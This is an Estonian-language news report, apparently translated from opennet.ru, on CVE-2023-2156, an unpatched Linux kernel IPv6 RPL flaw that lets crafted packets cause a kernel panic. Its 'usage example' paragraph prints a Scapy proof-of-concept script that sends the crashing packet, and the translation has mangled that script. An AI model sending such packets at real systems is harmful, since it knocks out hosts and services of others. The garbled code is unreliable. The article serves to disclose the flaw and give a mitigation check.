0-päevane Linuxi IPv6 virna haavatavus, mis võimaldab kaugkerneli krahhi

Avaldatud on teavet parandamata (0-päevase) haavatavuse (CVE-2023-2156) kohta Linuxi tuumas, mis võimaldab süsteemi peatada, saates spetsiaalselt loodud IPv6 pakette (packet-of-death). Probleem ilmneb ainult siis, kui on lubatud RPL-protokolli (Routing Protocol for Low-Power and Lossy Networks) tugi, mis on distributsioonides vaikimisi keelatud ja mida kasutatakse peamiselt sisseehitatud seadmetes, mis töötavad traadita võrkudes suure pakettkaoga.

Haavatavuse põhjuseks on RPL-protokolli sõelumiskoodi väliste andmete vale töötlemine, mis põhjustab kinnituse tõrke ja kerneli paanikaseisundi. IPv6 RPL paketi päise sõelumisel saadud andmete paigutamisel k_buff (Socket Buffer) struktuuri, kui välja CmprI väärtuseks on seatud 15, välja Segleft väärtuseks 1 ja CmprE väärtuseks 0, siis 48-baidine vektor koos aadressidega tihendatakse. 528 baiti ja ilmub olukord, kus puhvri jaoks eraldatud mälust ei piisa. Sel juhul kontrollib funktsioon skb_push, mida kasutatakse andmete struktuuri surumiseks, andmete suuruse ja puhvri ebaühtlust, tekitades paanikaseisundi, et vältida puhvri piirist kaugemale kirjutamist.

Kasutusnäide: # Kasutame Scapyt paketi loomiseks saidilt scapy.all import * impordi pesa # Kasutage oma LAN-liidese IPv6-d DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Kasutame paketi saatmiseks pesasid sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Paketi koostamine # Tüüp = 3 muudab selle RPL-paketiks # Aadressid sisaldavad 3 aadressi, kuid kuna CmprI on 15, # on iga kahe esimese aadressi oktett käsitletakse tihendatud aadressina # Segleft = 1 võimenduse käivitamiseks # lastentry = 0xf0 määrab CmprI väärtuseks 15 ja CmprE väärtuseks 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses) :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Saada see kuri pakett sockfd.sendto(bytes(p), (DST_ADDR, 0))

Tähelepanuväärne on see, et kerneli arendajaid teavitati haavatavusest 2022. aasta jaanuaris ja viimase 15 kuu jooksul on nad proovinud probleemi kolm korda parandada, väljastades paigad septembris 2022, oktoobris 2022 ja aprillis 2023, kuid iga kord tehti parandusi. ei piisa ja haavatavust ei õnnestunud taastoota. Lõppkokkuvõttes otsustas ZDI projekt, mis koordineeris haavatavuse parandamise tööd, avaldada haavatavuse kohta üksikasjalikku teavet, ootamata töötava paranduse kernelis kättesaadavaks saamist.

Seega jääb haavatavus endiselt parandamata. Eelkõige on ebaefektiivne 6.4-rc2 kernelis sisalduv plaaster. Kasutajatel soovitatakse kontrollida, et nende süsteemides ei kasutata RPL-protokolli, mida saab teha käsu sysctl -a | grep -i rpl_seg_enabled

Allikas: opennet.ru

Lisa kommentaar